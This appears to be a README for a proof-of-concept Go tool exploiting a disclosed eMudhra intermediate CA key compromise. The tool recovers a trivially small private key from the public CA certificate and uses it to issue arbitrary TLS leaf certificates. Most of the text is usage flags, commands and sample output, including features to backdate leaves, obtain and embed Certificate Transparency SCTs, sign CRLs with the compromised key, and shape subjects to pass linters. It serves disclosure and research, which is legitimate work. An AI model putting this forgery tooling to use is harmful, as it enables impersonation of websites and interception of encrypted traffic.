Proof of concept for the eMudhra emSign ECC G3 intermediate key compromise (Mozilla bug 2083449). The CA private keys are tiny integers, so they can be recovered from the public CA certificates and used to sign arbitrary leaf certificates. All affected intermediates are revoked (caCompromise).
The tool recovers the CA key from the CA certificate, issues a leaf certificate (max. 398 days validity) and verifies the result.
$ ./emudhra-poc
Issuing CA
Subject: CN=EM DV TLS CA - G3B,O=eMudhra BV,C=NL
Issuer: CN=AAA Certificate Services,O=Comodo CA Limited,L=Salford,ST=Greater Manchester,C=GB
Serial: a024fdf4ba665c785ce4a020483858b7
Not before: 2025-05-14T00:00:00Z
Not after: 2028-12-31T23:59:59Z
Public key: ECDSA P-384
Signature alg: SHA256-RSA
CA: true
Key usage: keyCertSign, cRLSign
Ext key usage: serverAuth, clientAuth
Policy: 2.23.140.1.2.1
Policy: 1.3.6.1.4.1.50977.1.0.1
Policy: 1.3.6.1.4.1.50977.1.2.100
Subject key ID: e21e2fe71c19390e554b62c120245735248a2514
Auth key ID: a0110a233e96f107ece2af29ef82a57fd030a4b4
CRL: http://crl.comodoca.com/AAACertificateServices.crl
OCSP: http://ocsp.comodoca.com
SHA-256: 45A883F349AEDFD5F3A649B5498FFB121712BA8B448F3F2A91DBC5A766FCDDBE
Recovered key: d = 156
Leaf certificate
Subject: CN=we-are-lost.com,O=eMudhra key lol
Issuer: CN=EM DV TLS CA - G3B,O=eMudhra BV,C=NL
Serial: 0b43fde43400886738a0db939171bb9a
Not before: 2026-10-21T00:20:19Z
Not after: 2026-10-22T00:25:19Z
Public key: ECDSA P-256
Signature alg: ECDSA-SHA384
CA: false
Key usage: digitalSignature
Ext key usage: serverAuth
SANs: DNS:we-are-lost.com
Auth key ID: e21e2fe71c19390e554b62c120245735248a2514
SHA-256: E14B628A75FCAEFF583CDEC1B61D9D075CDBDCDD5449E1AAAF571A18750D2170
Checks
[ OK ] leaf signature verifies under CA public key
[ OK ] leaf certificate matches generated leaf key
[ OK ] leaf authority key ID matches CA subject key ID
[ OK ] chain verification against CA certificate (intermediate used as trust anchor, offline)
chain: we-are-lost.com -> EM DV TLS CA - G3B
[INFO] Go x509.Verify accepts the chain
Output
cert: out/leaf.pem
key: out/leaf.key
chain: out/chain.pem
Note: the issuing CA was revoked with reason caCompromise; revocation-checking clients should reject this chain.
The [INFO] line is informational: Go 1.26.10 / 1.27.3 and later distrust the
compromised eMudhra keys in x509.Verify and print [INFO] Go x509.Verify rejects the chain: x509: no valid chains built. The tool verifies the chain
itself, so the checks pass with any Go version.
go build -o emudhra-poc ./src
cp config.example.json config.json # set ca_cert to one of the CA PEMs
./emudhra-poc # issue, write files, print details and checks
| Flag | Description |
|---|---|
-config |
Path to the JSON config (default config.json) |
-san |
SANs, repeatable or comma-separated; replaces config SANs |
-show |
Print only the certificate PEM; no files, no checks |
-chain |
Also print the complete chain (leaf, CA, root) as PEM |
-json |
Print only the chain as a CT add-chain JSON request |
-ct-log |
CT log URL, repeatable or comma-separated; embeds SCTs; replaces ct_logs |
-out-dir |
Also write <serial>.crt, .key and .crt_pre here; overrides output.dir |
-not-before |
Backdate the leaf (Unix timestamp or UTC datetime); overrides leaf.not_before |
-crl |
Sign a CRL from the crl config with the recovered key, then exit |
-crl-out |
Write the signed CRL PEM here; overrides crl.output |
-revocation |
Also check the issuing CA against the cached CRL and OneCRL |
-update-revocation |
Refresh the revocation cache, then exit |
-keys, -roots, -revocation-dir |
Directories (default keys, roots, revocation) |
SAN types are inferred or set with a prefix: DNS:, IP:, email:, URI:.
With ct_logs (or -ct-log), the leaf is first issued as a precertificate
(same serial and contents plus the critical poison extension), which is sent
to each log's /ct/v1/add-pre-chain together with the CA and, if configured,
root_cert. The returned SCTs are embedded in the final certificate, which
is then signed again. Logs that reject the precertificate are reported and
skipped; at least one SCT is required.
The final certificate (with the embedded SCTs) is then submitted to every
log's /ct/v1/add-chain as well, also with -show. A log that rejects it is
only reported, since the certificate already carries the precertificate SCTs.
Every returned SCT is saved (TLS-encoded, RFC 6962 3.2, as used by
ssl_ct_static_scts-style servers) to output.dir, or to the directory of
output.cert without it. <log> is the first 8 bytes of the log ID in hex:
<serial>.<log>.pre.sct: SCT for the precertificate (embedded)<serial>.<log>.sct: SCT for the final certificate
"ct_logs": [
{"url": "https://ct.example/2026h2/", "key": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE..."}
]key is optional: the log's public key as base64 DER, as in the Chrome and
Apple log lists. With a key, the checks verify the log ID and the SCT
signature against the final certificate, for both the embedded SCTs and the
SCTs returned for the final certificate. Chrome and Apple require at least
two SCTs from distinct log operators; with fewer, the checks print a note.
./emudhra-poc -ct-log https://ct.example/2026h2/
output.dir (or -out-dir) additionally stores every issued leaf under its
serial number (lowercase hex, as printed in the leaf details):
<serial>.crt (certificate), <serial>.key (private key) and, with CT logs,
<serial>.crt_pre (the precertificate), all PEM, plus the SCT files
described above. With output.dir set,
output.cert and output.key are optional.
./emudhra-poc -out-dir issued -ct-log https://ct.example/2026h2/
leaf.not_before (or -not-before) sets the leaf's notBefore to a past
time; notAfter is then notBefore plus validity_hours. Accepted formats are a
Unix timestamp in seconds (1767366245) or a datetime in UTC
(2026-01-02T15:04:05Z, 2026-01-02T15:04:05, 2026-01-02 15:04:05,
2026-01-02); an RFC 3339 offset such as +01:00 is converted to UTC. Times
in the future are rejected. If the backdated leaf has already expired, the
chain is verified at its notBefore instead of now.
./emudhra-poc -show -not-before 2026-01-02T15:04:05Z
./emudhra-poc -show -not-before 1767366245
The compromised key signs CRLs as well as certificates. With -crl the tool
recovers the key and signs the CRL described by the crl config section, then
exits:
number: CRL number; defaults tothis_updateas a Unix timestampthis_update: same formats as-not-before; defaults to nownext_update_hours: validity of the CRL (default 24)output: PEM path (or-crl-out); the CRL PEM goes to stdout if unsetrevoked: entries ofserial(hex, as printed in the output, with an optional0xprefix), an optional RFC 5280reasoncode, and an optionalrevocation_time(defaults tothis_update)
./emudhra-poc -crl -crl-out leaf.crl
./emudhra-poc -crl | openssl crl -noout -text
An empty revoked list produces a valid empty CRL. The CRL is signed by the
revoked CA key, so revocation-checking clients should still reject the chain.
The leaf contains only the subject attributes from the config, and inherits the CA/B Forum policy of the issuing CA. To pass linters such as pkilint, match the subject to that policy:
- DV: only
country(optional) besides the SANs - OV:
organization,countryandprovinceand/orlocality - EV: as OV, plus
serial_number,business_categoryandjurisdiction_country(jurisdiction_province,jurisdiction_localityoptional)
The common name defaults to the first SAN; set "omit_common_name": true
to leave it out (not recommended for EV). organizational_unit is forbidden
for all of them. Microsoft also requires
revocation information, so set crl_distribution_points or ocsp_server.
revocation/ caches the CRLs of the issuing roots (taken from the CRL
distribution points, matching the "Full CRL Issued By This CA" disclosed in
CCADB) and the OneCRL records concerning the certificates in keys/. CRLs are
only stored if their signature verifies under a certificate in roots/. A
daily workflow refreshes the cache; -revocation works offline against it.
./emudhra-poc -update-revocation
./emudhra-poc -revocation
./emudhra-poc -show -san poc.example,IP:192.0.2.1
./emudhra-poc -show -json -san poc.example \
| curl -sS -H 'Content-Type: application/json' --data-binary @- https://<log>/ct/v1/add-chain
All Go code lives in src/ (package main); go.mod, the example config
and the CA certificates in keys/ stay in the repository root.
go test ./...